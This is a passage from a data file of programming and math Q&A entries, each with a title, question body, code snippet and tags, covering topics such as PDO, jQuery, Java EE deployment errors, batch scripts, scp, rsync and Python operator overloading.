resultset again without executing\n // $stmt = $conn->query($sql); again ?\
n // (no change in query sql, need to fetch the same static data again.)\
n //\n // something like below will be nice.\n //\n // $stmt-
>movetofirst();\n // while($row=$stmt->fetch()){\n // do some thing;\
n // } \n}\n", "php object resultset reusability pdostatement"], "5492":
["jquery: chained crossfading for several elements", "I'm having several elements
(PNG images containing text) which I'd like to animate/crossfade like a trailer. \
nIt should be like this:\n\n fades in - shows ~2 seconds, fades out, and at ~20%
opacity.\n should start fading in and so on.\n\nSo the difficult thing is, how can
I use for chained crossfading?\nAny ideas what's the best method? \nThanks\n",
"element1", "jquery jquery-animate"], "886902": ["solving a exception in jonas As
5.2.1 deployment", "I am newbie in develloping with JOnAs platform, also in Spring
and more genrally in web\n devellopments. After having somte troubles with JBoss
5.1.GA and tomcat 6.x,7.x i decided to\n move to jonas. I 'm now facing an issue in
the deployment of my web application. The given\n stack trace is the following :\
n2011-08-25 04:56:04,467 :
JPersistenceUnitInfoLoader.loadPersistenceUnitInfoImplList : No SharedCacheMode
defined. Set to default UNSPECIFIED\n2011-08-25 04:56:04,474 :
BaseModelMBean.invoke : Exception invoking method deploy\
njava.lang.NoClassDefFoundError: javax/persistence/SharedCacheMode\n at
org.ow2.easybeans.persistence.xml.JPersistenceUnitInfoLoader.loadPersistenceUnitInf
oImplList(JPersistenceUnitInfoLoader.java:233)\n at
org.ow2.easybeans.persistence.xml.JPersistenceUnitInfoHelper.getPersistenceUnitInfo
List(JPersistenceUnitInfoHelper.java:118)\n at
org.ow2.easybeans.persistence.xml.PersistenceXmlFileAnalyzer.analyzePersistenceXmlF
ile(PersistenceXmlFileAnalyzer.java:130)\n at
org.ow2.jonas.ejb.easybeans.EasyBeansService._getPersistenceUnitManager(EasyBeansSe
rvice.java:880)\n at
org.ow2.jonas.ejb.easybeans.EasyBeansService.getPersistenceUnitManager(EasyBeansSer
vice.java)\n at
org.ow2.jonas.web.base.BaseWebContainerService.registerWar(BaseWebContainerService.
java:821)\n at
org.ow2.jonas.web.base.BaseWebContainerService.registerWar(BaseWebContainerService.
java:1241)\n at
org.ow2.jonas.web.base.proxy.HttpOnDemandProxy.addWar(HttpOnDemandProxy.java:352)\n
at org.ow2.jonas.web.base.WARDeployer.doDeploy(WARDeployer.java:70)\n at
org.ow2.util.ee.deploy.impl.deployer.AbsDeployer$1.execute(AbsDeployer.java:96)\n
at org.ow2.util.ee.deploy.impl.deployer.AbsDeployer$1.execute(AbsDeployer.java:95)\
n at
org.ow2.util.execution.helper.RunnableHelper.execute(RunnableHelper.java:77)\n
at org.ow2.util.ee.deploy.impl.deployer.AbsDeployer.deploy(AbsDeployer.java:94)\n
at
org.ow2.util.ee.deploy.impl.deployer.DeployerManager.deploy(DeployerManager.java:12
9)\n at org.ow2.jonas.lib.jmbeans.J2EEServer._deploy(J2EEServer.java:823)\n
at org.ow2.jonas.lib.jmbeans.J2EEServer.deploy(J2EEServer.java)\n at
sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)\n at
sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)\n
at
sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:4
3)\n at java.lang.reflect.Method.invoke(Method.java:616)\n at
org.apache.commons.modeler.BaseModelMBean.invoke(BaseModelMBean.java:458)\n at
com.sun.jmx.interceptor.DefaultMBeanServerInterceptor.invoke(DefaultMBeanServerInte
rceptor.java:857)\n at
com.sun.jmx.mbeanserver.JmxMBeanServer.invoke(JmxMBeanServer.java:795)\n at
javax.management.remote.rmi.RMIConnectionImpl.doOperation(RMIConnectionImpl.java:14
50)\n at
javax.management.remote.rmi.RMIConnectionImpl.access$200(RMIConnectionImpl.java:90)
\n at
javax.management.remote.rmi.RMIConnectionImpl$PrivilegedOperation.run(RMIConnection
Impl.java:1285)\n at
javax.management.remote.rmi.RMIConnectionImpl.doPrivilegedOperation(RMIConnectionIm
pl.java:1383)\n at
javax.management.remote.rmi.RMIConnectionImpl.invoke(RMIConnectionImpl.java:807)\n
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)\n at
sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)\n
at
sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:4
3)\n at java.lang.reflect.Method.invoke(Method.java:616)\n at
sun.rmi.server.UnicastServerRef.dispatch(UnicastServerRef.java:322)\n at
sun.rmi.transport.Transport$1.run(Transport.java:177)\n at
java.security.AccessController.doPrivileged(Native Method)\n at
sun.rmi.transport.Transport.serviceCall(Transport.java:173)\n at
sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:553)\n at
sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:808)\n
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:667)\
n at
java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1110)\n
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:603)\
n at java.lang.Thread.run(Thread.java:679)\nCaused by:
java.lang.ClassNotFoundException: javax.persistence.SharedCacheMode not found by
org.ow2.jonas.osgi.javaee-api [48]\n at
org.apache.felix.framework.ModuleImpl.findClassOrResourceByDelegation(ModuleImpl.ja
va:787)\n at
org.apache.felix.framework.ModuleImpl.access$400(ModuleImpl.java:71)\n at
org.apache.felix.framework.ModuleImpl$ModuleClassLoader.loadClass(ModuleImpl.java:1
768)\n at java.lang.ClassLoader.loadClass(ClassLoader.java:266)\n at
org.apache.felix.framework.ModuleImpl.getClassByDelegation(ModuleImpl.java:645)\n
at org.apache.felix.framework.resolver.WireImpl.getClass(WireImpl.java:99)\n at
org.apache.felix.framework.ModuleImpl.searchImports(ModuleImpl.java:1390)\n at
org.apache.felix.framework.ModuleImpl.findClassOrResourceByDelegation(ModuleImpl.ja
va:722)\n at
org.apache.felix.framework.ModuleImpl.access$400(ModuleImpl.java:71)\n at
org.apache.felix.framework.ModuleImpl$ModuleClassLoader.loadClass(ModuleImpl.java:1
768)\n at java.lang.ClassLoader.loadClass(ClassLoader.java:266)\n ... 42
more\n2011-08-25 04:57:46,777 : J2EEServer._undeploy : Cannot undeploy the
deployable \njava.lang.RuntimeException: Archive
'WARDeployableImpl[archive=/home/stephane/projetJEE/server/jonas-full-5.2.0/base/
archives/immo.war]' is not deployed.\n at
org.ow2.jonas.lib.jmbeans.J2EEServer._undeploy(J2EEServer.java:842)\n at
org.ow2.jonas.lib.jmbeans.J2EEServer.undeploy(J2EEServer.java)\n at
sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)\n at
sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)\n
at
sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:4
3)\n at java.lang.reflect.Method.invoke(Method.java:616)\n at
org.apache.commons.modeler.BaseModelMBean.invoke(BaseModelMBean.java:458)\n at
com.sun.jmx.interceptor.DefaultMBeanServerInterceptor.invoke(DefaultMBeanServerInte
rceptor.java:857)\n at
com.sun.jmx.mbeanserver.JmxMBeanServer.invoke(JmxMBeanServer.java:795)\n at
javax.management.remote.rmi.RMIConnectionImpl.doOperation(RMIConnectionImpl.java:14
50)\n at
javax.management.remote.rmi.RMIConnectionImpl.access$200(RMIConnectionImpl.java:90)
\n at
javax.management.remote.rmi.RMIConnectionImpl$PrivilegedOperation.run(RMIConnection
Impl.java:1285)\n at
javax.management.remote.rmi.RMIConnectionImpl.doPrivilegedOperation(RMIConnectionIm
pl.java:1383)\n at
javax.management.remote.rmi.RMIConnectionImpl.invoke(RMIConnectionImpl.java:807)\n
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native
Method)\n at
sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)\n
at
sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:4
3)\n at java.lang.reflect.Method.invoke(Method.java:616)\n at
sun.rmi.server.UnicastServerRef.dispatch(UnicastServerRef.java:322)\n at
sun.rmi.transport.Transport$1.run(Transport.java:177)\n at
java.security.AccessController.doPrivileged(Native Method)\n at
sun.rmi.transport.Transport.serviceCall(Transport.java:173)\n at
sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:553)\n at
sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:808)\n
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:667)\
n at
java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1110)\n
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:603)\
n at java.lang.Thread.run(Thread.java:679)\n2011-08-25 04:57:46,778 :
BaseModelMBean.invoke : Exception invoking method undeploy\
njava.lang.RuntimeException: Cannot undeploy the deployable
'WARDeployableImpl[archive=/home/stephane/projetJEE/server/jonas-full-5.2.0/base/
archives/immo.war]' : Archive
'WARDeployableImpl[archive=/home/stephane/projetJEE/server/jonas-full-5.2.0/base/
archives/immo.war]' is not deployed.\n at
org.ow2.jonas.lib.jmbeans.J2EEServer.__undeploy(J2EEServer.java:849)\n at
org.ow2.jonas.lib.jmbeans.J2EEServer.undeploy(J2EEServer.java)\n at
sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)\n at
sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)\n
at
sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:4
3)\n at java.lang.reflect.Method.invoke(Method.java:616)\n at
org.apache.commons.modeler.BaseModelMBean.invoke(BaseModelMBean.java:458)\n at
com.sun.jmx.interceptor.DefaultMBeanServerInterceptor.invoke(DefaultMBeanServerInte
rceptor.java:857)\n at
com.sun.jmx.mbeanserver.JmxMBeanServer.invoke(JmxMBeanServer.java:795)\n at
javax.management.remote.rmi.RMIConnectionImpl.doOperation(RMIConnectionImpl.java:14
50)\n at
javax.management.remote.rmi.RMIConnectionImpl.access$200(RMIConnectionImpl.java:90)
\n at
javax.management.remote.rmi.RMIConnectionImpl$PrivilegedOperation.run(RMIConnection
Impl.java:1285)\n at
javax.management.remote.rmi.RMIConnectionImpl.doPrivilegedOperation(RMIConnectionIm
pl.java:1383)\n at
javax.management.remote.rmi.RMIConnectionImpl.invoke(RMIConnectionImpl.java:807)\n
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)\n at
sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)\n
at
sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:4
3)\n at java.lang.reflect.Method.invoke(Method.java:616)\n at
sun.rmi.server.UnicastServerRef.dispatch(UnicastServerRef.java:322)\n at
sun.rmi.transport.Transport$1.run(Transport.java:177)\n at
java.security.AccessController.doPrivileged(Native Method)\n at
sun.rmi.transport.Transport.serviceCall(Transport.java:173)\n at
sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:553)\n at
sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:808)\n
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:667)\
n at
java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1110)\n
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:603)\
n at java.lang.Thread.run(Thread.java:679)\nI hope someone migth help me. I have
tried to launch (not at the same time, but as i couldn't acheive succesfully one i
move to the other) correctly one of the following application server for 2 weeks. I
am using Jonas 5.2.x full profile.\nGood bye\n", "", "java-ee jpa osgi persistence-
unit"], "1046032": ["Java multiple button size issue", "I'm making a simple hobby
piece that simply contains two buttons. When I try to set the size only one button,
the work button, is set. This is true even if I comment out the play button code.\
nHere is the button creation code:\n\nI'm guessing it's something simple but I just
can't see what or find that out.\n", "Container content = frame.getContentPane();\
nJButton workBtn = new JButton(\"Work\");\nJButton playBtn = new
JButton(\"Play\");\nworkBtn.setSize(100, 100);\nplayBtn.setSize(100, 100);\
nworkBtn.setVisible(true);\nplayBtn.setVisible(true);\ncontent.add(workBtn);\
ncontent.add(playBtn);\n", "java swing jframe jbutton layout-manager"], "5551252":
["how can I fix this batch script?", "I am trying to write a batch script that
combines several css files into one file. So far I have come up with this... \n\
nProblem is it produces the following \n\nWhere am I going wrong with this? \
nThanks\np.s. my attempts to simplify the above using ms-dos FOR command are pretty
naff as well.\n\n", "# Set start folders & files\nset fn1=filename.css\nset
fn2=another-filename.css\nset fn3=yet-another-filename.css\n\n# get filename add to
temp file inside comment syntax\necho /* %fn1% >> tmp.css\necho.
--------------------------------------------------------------- */ >> tmp.css\
necho. >> tmp.css\n\n# copy file contents\ncopy/b %fn1% + tmp.css\n\n# repeat with
other files...\n\necho /* %fn2% >> tmp.css\necho.
--------------------------------------------------------------- */ >> tmp.css\
necho. >> tmp.css\ncopy/b %fn2% + tmp.css\n\n...\n\nrename tmp.css combined-
files.css\nmove combined-files.css \\new-folder\\combined-files.css\n", "batch ms-
dos batch-script"], "5355967": ["Copy data from a remote Linux box to my Windows
desktop", "I use Putty to login to the remote server and then set the environment
and change the path to a particular directory. Now from this dir, I need to copy a
folder to my desktop which is Windows?\nHow can I achieve this ?\nSome of my failed
attempts are as follows \n\nSo from the remote server which is to be copied through
putty, to my_username_in_windows@ip_address:path to destination\n", "scp -r
remote_foldername srao@my_ipaddress:C:\\srao\\Users\\Desktop\n", "windows linux
copy putty scp"], "4236043": ["Factorization over a relatively minimal surface",
"Let $A$ be a DVR with an algebraically closed residue field $k$. Consider a
morphism $f: X \\to Y$ of arithmetic surfaces (regular integer projective and flat
schemes over $A$ of dimension 2), such that $f$ induces a finite morphism on
generic fibers. Assume that $X$ and $Y$ are semistable, the generic fibers of $X$
and $Y$ are smooth, and $Y$ is relatively minimal, i.e. does not contain any
exceptional divisor.\n\nQ: Is there any chance that $f$ factors through a
birational map $X \\to X'$, where $X'$ is a relatively minimal surface?\n\nAs far I
understand, the answer lies in the consideration of an irreducible component $C$ of
the closed fiber $X_k$ of $X$, which is isomorphic to $\\mathbb P^1_k$ and
intersects the other components of $X_k$ in exactly one point. With respect to the
morphism $X \\to X'$ the component $C$ is then contracted. If $f$ contracts $C$, so
$f$ can possibly factor through $X'$. But in general (it seems to me) it could
happen, that $f(C)$ is irreducible and intersects the other components of $Y_k$ in
at least two points.\n", "", "algebraic-geometry algebraic-curves"], "1961105":
["Obfuscating c# code not the assembly", "Is there a way to obfuscate c# code
(visual studio solution ) so that if soem one even get the project could not
understand it ?\nnote: I'm not talking bout obfuscating assembly/Executable
here..\n", "", "c# obfuscation"], "455189": ["PHP MD5 Vs MySQL md5", "This is
something I have been woundering. Is it faster for me to have mysql handle my md5
hashing or should I let php handle something like this?\n", "", "php mysql md5"],
"5110769": ["Twitter Bootstrap: hiding a row-fluid container without the row's
other containers to the right sliding left?", "I am working on a page with some
dynamic content. The main layout is in 3 containers within the same fluid row. I
want the first container either to display one of two types of lists, or be absent
-- varying by the state of the page.\nHowever when I try to remove the element with
a jquery function like , it slides the containers to the right of it left, skewing
the layout of the page. Is there a way to remove this container from view without
the other containers shifting left?\nHere is an example of what is happening:\
nhttp://jsfiddle.net/PHaeA/27/\nAnd here is an example of how I want the containers
to appear when the first one is absent: http://jsfiddle.net/gLTyF/5/\nThanks!\n",
"$(\"#container-id\").hide()", "html css twitter-bootstrap"], "5612731": ["Mimic
native scrolling using Javascript", "Which Javascript libraries can be used to
mimic the native scrolling behavior on an IOS device (mainky iPad) Even jQuery
based libraries would be fine.\nAlso before u say, I know the most common is
iScroll https://github.com/cubiq/iscroll\nBut i want to know more...\nPlease list
as many as you could. Thank u.\n", "", "javascript jquery iphone ios webkit"],
"2164620": ["\"Pure\" Maths vs. \"Applied\" Maths", "Is it true to say that if you
enjoy applications it means that you didn't learn the applications within
mathematics? \n", "", "soft-question education applications"], "4750267": ["How to
insert all rows data from a gridview to database when paging is used?", "I have a
which adds Products from the itself. I'm using the standard . My question is, is
there any way to insert all from a to database when is used?\n", "GridView", "c#
asp.net gridview paging"], "3099587": ["How do I stop multiple UIButton pressing?",
"Imagine I have a and to that I add 2 s.\nI find that I can put a finger on one
button, then, holding the first, I can touch the 2nd button
with another finger. Both buttons will show their images.\nIs there a way to stop
the 2nd touch working? I thought that was the answer, but seems not!\nAny ideas?\
n", "UIView", "iphone objective-c ios uibutton"], "2154117": ["Do LLVM's arrays
support 64-bit indices?", "The LLVM assembly language reference manual on arrays
mentions \"integer\" here:\n\nThe number of elements is a constant integer value;
elementtype may be any type with a size.\n\nWhile integer is defined as:\n\nThe
integer type is a very simple type that simply specifies an arbitrary bit width for
the integer type desired. Any bit width from 1 bit to 2\u00b2\u00b3-1 (about 8
million) can be specified.\n\nDoes this work as easy as it sounds? Or do I have to
consider something?\n", "", "arrays 64bit index integer llvm"], "4432216": ["Why
would my java program send multicast packets with a TTL of 1?", "I have a java
client program that uses mdns with service discovery to find its associated server.
After much testing on a single network with Windows, Fedora 10, and Ubuntu 8.10, we
delivered a test build to a customer. They report that the client and server never
connect. They sent us a wireshark capture that shows the mdns packets have a TTL
of 1 even though our code sets it to 32. When we test locally, the TTL is 32 just
like we set it. The customer is using Redhat Enterprise 5. \nI saw Java Multicast
Time To Live is always 0 but it leaves me curious as to why that question asker has
a TTL of 0, but mine is 1.\n", "", "java sockets multicast ttl"], "4484785":
["Example projects for jQuery", "I am looking for a very small web application
built especially to demonstrate jQuery library. In Java world 'Appfuse' for example
is built especially to demonstrate how various frameworks can be used and it uses
some example use cases such as 'Search Users,'Add Users' etc\nThemeRoller and Other
jQuery websites demonstrate individual widgets but I am looking for a complete web
application especially built to demonstrate the complete jQuery world.\nHere is the
purpose of Appfuse:\nAppFuse is an open source project and application that uses
open source tools built on the Java platform to help you develop Web applications
quickly and efficiently. It was originally developed to eliminate the ramp-up time
found when building new web applications for customers. At its core, AppFuse is a
project skeleton, similar to the one that's created by your IDE when you click
through a wizard to create a new web project.\nI am looking something like this for
jQuery with any platform (Rails or Django or php)\nThanks in advance\n", "",
"jquery jquery-ui demo"], "4890516": ["INNODB and mysql PDO driver lock in share
mode", "With INNODB you can add to your query so that other users can still read
but not update untill the user that is editing is finished.\nMy current PDO
function in PHP currently looks like: \n\nIs there an PDO driver function setting
to set it in share mode? if so how? The only things I find have no answers to them
and the documentation isn't really clear either.\nOr should I add it simply to the
query string?\n", "LOCK IN SHARE MODE;", "php mysql pdo innodb"], "5976272": ["How
to check that a symbol is defined in linker script", "I am using different linker
script. In some, a value is defined, in others, it is not defined:\n\nAt execution,
I want a default behavior when this value is not defined, and a special behavior
when it is defined.\nClassically, I get the values like this:\n\nMy first lead to
conditionnaly execute code according to the existence of this value in linker
script is the weak atttribute:\n\nBut it can't work, as I am initializing the
pointer value, and not its address: even an undifined weak symbol has an address.
So directory address is always != NULL.\nI am pretty sure this problem has already
been solved, but I can't find any related problem on the web.\n",
"DIRECTORY_ADDRESS = 0x80100000;\nDIRECTORY_SIZE = 32M;\n", "gcc linker ld"],
"41018": ["How do I authorize a facebook application? PHP", "I have a php web app
set up to handle my new facebook application. I am looking at my app at
http://apps.facebook.com/myapp and it shows my app in an iframe.\nI am trying to
get the app to bring up the screen where it requests permission. I can't seem to
find a anything that explains the flow. I don't have an issue reading profile
details once I create the $fb->loginUrl() link and click through to it, but I want
a permission request to load automatically when you go first to the app.\n", "",
"facebook graph oauth facebook-oauth"], "3911034": ["Application Freezes when
making URL requests", "I m making a small application, where I POST some parameters
with urllib2 to 8 different sites, with command line Interface, its works fine, but
same thing when i use with wxPython, the Application freezes and shows not
responding. the same thing happened when i used to read some files, but I overcame
it for reading files with wx.Yield(), but it seems wx.Yield() is not working for
URL requests.\nI am using BOA constructor for constructing the frame.\nIn gist the
program is like this:\n\nI need some help on this, I strongly believe that, my
coding structure is wrong! I need some guide.\nAll Displays And Responses are sent
to txtCtrl2.\nThank You!\n", "def buildURL(url, params):\n #url built here \n
return url\n\n\n\ndef url1(self, value):\n #self.buildURL(url, params)\n
#makes the request\n #searches if there was a valid response\n #if yes, show
it to txtCtrl2\n\n#same for url2 to url8\n\ndef onClickCheck(self, event):\n
#get the value from txtCtrl1\n #Do the required things\n AppUrlLibrary =
[self.url1(value)...self.url8(value)]\n for i in AppUrlLibrary:\n if
self.abort:\n break\n else:\n wx.Yield() #this seems
not working\n i\n", "wxpython"], "2746428": ["ContentResolver.insert()
not reflected immediately?", "The following code snippet from my activity's works
great (i.e. is true) in subsequent invocations of my application:\n\nSo, I know
for certain that the is executed properly.\nBut on first invocation of my
application, returns false, despite the preceding it.\nWhy?\nDo I need some sort
of a \"flush\" or \"close\" statement?\n", "onCreate()", "android android-
contentprovider android-contentresolver"], "1132022": ["Function pointer to class
member function problems", "First of all I have to admit that my programming skills
are pretty limited and I took over a (really small) existing C++ OOP project where
I try to push my own stuff in. Unfortunately I'm experiencing a problem which goes
beyond my knowledge and I hope to find some help here. I'm working with a third
party library (which cannot be changed) for grabbing images from a camera and will
use some placeholder names here. \nThe third party library has a
function \"ThirdPartyGrab\" to start a continuous live grab and takes a pointer to
a function which will be called every time a new frame arrives. So in a normal C
application it goes like this:\n\n\"HookFunction\" needs to be declared as: \n\
nor \"BUF_HOOK_FUNCTION_PTR\" which is declared as\n\nNow I have a C++ application
and a class \"MyFrameGrabber\" which should encapsulate everything I do. So I put
in the hook function as a private member like this:\n\nAlso there is a public void
function \"StartGrab\" in my class which should start the Grab. Inside I try to
call:\n\nwhich (not surprisingly) fails. It says that the function call to
MyFrameGrabber::HookFunction misses the argument list and I should try to use
&MyFrameGrabber::HookFunction to create a pointer instead. However
passing \"&MyFrameGrabber::HookFunction\" instead results in another error that
this cannot be converted to BUF_HOOK_FUNCTION_PTR. \nAfter reading through the C++
FAQ function pointers I think I understand the problem but can't make up a
solution. I tried to make the hook function static but this also results in a
conversion error. I also thought of putting the hook function outside of the class
but I need to use class functions inside the hook function. Is there another way or
do I need to change my whole concept? \nEDIT 14.01.08:\nI tested the singleton
workaround since I cannot change the third party library and the void pointer is
only for data that is used inside the hook function. Unfortunately it didn't worked
out of the box like I hoped.... I don't know if the static function needs to be in
a separate class so I put it in my \"MyFrameGrabber\" class:\n\nIn my cpp file I
have the call_hook function:\n\nBut this gives me an error in that no matching
standard constructor is found. That's correct because my MyFrameGrabber constructor
looks like this:\n\nI tried to put in an empty constructor but this results in a
linker error. Should I pass empty parameters to the MyFrameGrabber constructor in
the singleton? Or do I need to have a separate Hook Class and if yes how could I
access MyFrameGrabber functions? Thanks in advance. \nSECOND EDIT 15.01.08:\nI
applied the changes and it compiles and links now. Unfortunately I cannot test this
at runtime yet because it's a DLL and I have no Debug Caller Exe yet and there are
other problems during initialization etc. I will mark the post as answer because
I'm sure this is the right way to do this.\n", "ThirdPartyGrab (HookFunction);\n",
"c++ pointers function-pointers"], "5110768": ["How could I render just the form
from an autoform?", "I'm in the context of a BrowserView. I want to render a form
inside the page.\n\nI would like render_myform to render only the form but it
return a HTML Plone page.\nAny tips are welcomed.\n", "class
CommandeView(BrowserView):\n ...\n def render_myform(self):\n
livraison_form = LivraisonForm(self.context, self.request)\n
livraison_form.update()\n return livraison_form.render()\n\nclass
ILivraisonForm(interface.Interface):\n
livraison = schema.Choice(title=_(u\"Mode de livraison\"),\n
vocabulary=livraison_vocabulary)\n\n\nclass LivraisonForm(AutoExtensibleForm,
form.EditForm):\n schema = ILivraisonForm\n\nclass
LivraisonFormAdapter(object):\n component.adapts(ICommande)\n
interface.implements(ILivraisonForm)\n def __init__(self, context):\n
self.context = context\n self.livraison = self.context.livraison\n",
"plone"], "3960082": ["Why do two directory hierarchies that are in sync have
different sizes?", "I'm using rsync to sync two folders\n\nand it says everything
is good, but the destination reports:\n\nand the source reports:\n\nWhen I dig down
into the problem, all the files are the same size, but the directories differ in
size. Why? Both are VM's running ubuntu, the source is on 11.04 and the
destination is on 12.04 LTS\nI understand why they don't add up to the same
numbers, what I'd like to understand is why the folders report different sizes.\n",
"rsync -arzv --times --delete-after --relative -e ssh user@host:path/./media/
~/path/\n", "linux filesystems rsync"], "3454177": ["MPMoviePlayer class
setAllowsAirPlay: disable external display", "Does the setAllowsAirPlay: method
control video from being played on an external display via a HDMI or VGA adapter as
well? Or does it only control the video from being played over WiFi?\nThe Apple
documentation isn't clear and I would just test it if I had an adapter.\nThanks!\
n", "", "iphone ipad mpmovieplayer external-display"], "2824129": ["Most efficient
way to count occurrences?", "I'm looking to calculate entropy and mutual
information a huge number of times in performance-critical code. As an
intermediate step, I need to count the number of occurrences of each value. For
example:\n\nOf course the obvious ways to do this are either using an associative
array or by sorting the input array using a \"standard\" sorting algorithm like
quick sort. For small integers, like bytes, the code is currently specialized to
use a plain old array.\nIs there any clever algorithm to do this more efficiently
than a hash table or a \"standard\" sorting algorithm will offer, such as an
associative array implementation that heavily favors updates over insertions or a
sorting algorithm that shines when your data has a lot of ties?\nNote: Non-sparse
integers are just one example of a possible data type. I'm looking to implement a
reasonably generic solution here, though since integers and structs containing only
integers are common cases, I'd be interested in solutions specific to these if they
are extremely efficient.\n", "uint[] myArray = [1,1,2,1,4,5,2];\nuint[] occurrences
= countOccurrences(myArray);\n// Occurrences == [3, 2, 1, 1] or some permutation of
that.\n// 3 occurrences of 1, 2 occurrences of 2, one each of 4 and 5.\n",
"performance algorithm language-agnostic data-structures statistics"], "660479":
["Should a Javascript function be written and called inside jQuery document ready
or outside?", "I just have a question about writing functions in jQuery. When
defining your own functions should they be written inside or outside it? Please
note that these are just example functions and could be anything. I chose a jQuery
function and a native JavaScript to see if there are any differences i.e. should a
self-defined jQuery function be defined inside document ready?\nFor example: \n\nAs
opposed to this where they are called AND defined in document ready?\n\n::EDIT::\
nOne extra question. If a function is defined outside document ready and also
called outside document ready, what would happen as opposed to having it defined
outside but called inside document ready? \nI am asking this because I have a
function defined outside the document ready scope and this function is an ajax call
which gets new messages on page load. Should it be called outside or inside
document ready?\nFor example:\n\nas opposed to:\n\nThanks in advance for replying.\
n", "$(function(){});", "javascript jquery function scope document-ready"],
"4188819": ["Operator overloading in python with the object on the right hand side
of the operator", "I recently learned about operator overloading in python and I
would like to know if the following is possible.\nConsider the folowing
hypothetica/contrived class.\n\nI know that the way that's written above, I can do
things like this\n\nand those will work as expected. I also know that the way it's
currently written I can't do this\n\nIs there anyway around this? I know this
example is contrived but I have an application in which it would ve very useful if
when I did operator overloading, the class for which I define the operator can
appear on the right hand side of operator. Is this possible in python?\n", "class
My_Num(object):\n def __init__(self, val):\n self.val = val\n def
__add__(self, other_num):\n if isinstance(other_num, My_Num):\n
return self.val + other_num.val\n else:\n return self.val +
other_num\n", "python operator-overloading"], "4390068": ["Lazy class instance
creation and initialization via proxy in Spring", "Is there a ready out-of-the-box
solution in Spring to proxy a class so that it is CREATED (new instance) and
INITIALIZED (setters called) when a method of that class is invoked?\nI found and
tried using org.springframework.aop.target.LazyInitTargetSource.\nMaybe I'm doing
something wrong but in the following scenario my class instance is created TWICE.
Once when the bean is retrived from the context and then ONCE AGAIN when a method
is called:\nMy proxied class:\n\nSpring config:\n\nRunning code:\n\nproduces:\n\nSo
NewClass constructor is called when getting the bean from Spring context and when
calling add() method. I don't think it's nice, did I screw something up?\nAnyway,
the first call comes from enhancer.create() in Cglib2AopProxy.getProxy(). Is seems
the proxy creates an instance of the proxied class when the bean is requested, not
when the first method call occures. That is not what I want.\nI could create my own
java.lang.reflect.Proxy as a holder for my NewClass and create an instance of
NewClass in handler's invoke() the first time a method is called. I would have play
around with calling setters first, though.\nIs there any ready solution in Spring I
could use to achieve:\n\n?\n", "public class NewClass {\n\n private Integer i;\
n\n public NewClass() {\n System.out.println(\"NewClass()\");\n }\n\n
public void setI(Integer i) {\n System.out.println(\"setI(): \" + i);\n
this.i = i;\n }\n\n public Integer add() {\n return i + 1;\n }\n}\
n", "java spring proxy lazy-initialization"], "875358": ["Subclassing
numpy.ma.MaskedArray", "I'm trying to subclass numpy's to add an attribute, but
seem to fail getting the proper result out.\nI started out by following the example
for subclassing a , which works fine. \nThen I tried subclassing a instead, as
follows:\n\nwhich results in\n\nI had expected \"information\" twice.\nReplacing
the line with or didn't solve that problem (I went this way, since I'd like to
pass and to in future incarnations of the subclass.)\nNote that I also had to
add a call to the in my subclass' , in contrast to the example for an subclass;
if I don't do that, the attribute is not found.\nPerhaps someone could enlighten
me:\n\nhow to get to keep the original \nwhy the does not need a super-class call
for , but does (more of a bonus question).\n\nI would like to subclass instead of
writing a container class, since the latter would lose several conveniences that
come with s.\n(Note: this is not the same as this question, since I
already \"solved\" the / issue.)\n", "MaskedArray", "python numpy"], "1238671":
["Is twisted any good?", "I keep hearing all this hype about Twisted for python,
but i just find it plain confusing. What do you think is more simple to use? Simple
sockets or implementing twisted ?\n", "", "python sockets twisted"], "2867091":
["Rearrange cells in a column to a different column with same heading (Excel
2002)", "I need the values in one column to be rearranged for each set into another
column.\nThis picture will help explain:\n\nFollow the red lines, that is where I
want my data to go.\nThis shouldn't be too difficult as they all have the same name
for the column and heading. I am using Microsoft Excel 2002 and Windows XP SP3.\n",
"", "windows-xp spreadsheet microsoft-excel-2002"], "4788259": ["Can't get going
with MySQL in CakePHP", "This is my first time installing a framework, and I am
pretty clueless.\nI am on OSX 10.7 and I have the cakephp framework loaded into
and I have been able to load the test page and get rid of some of the errors and
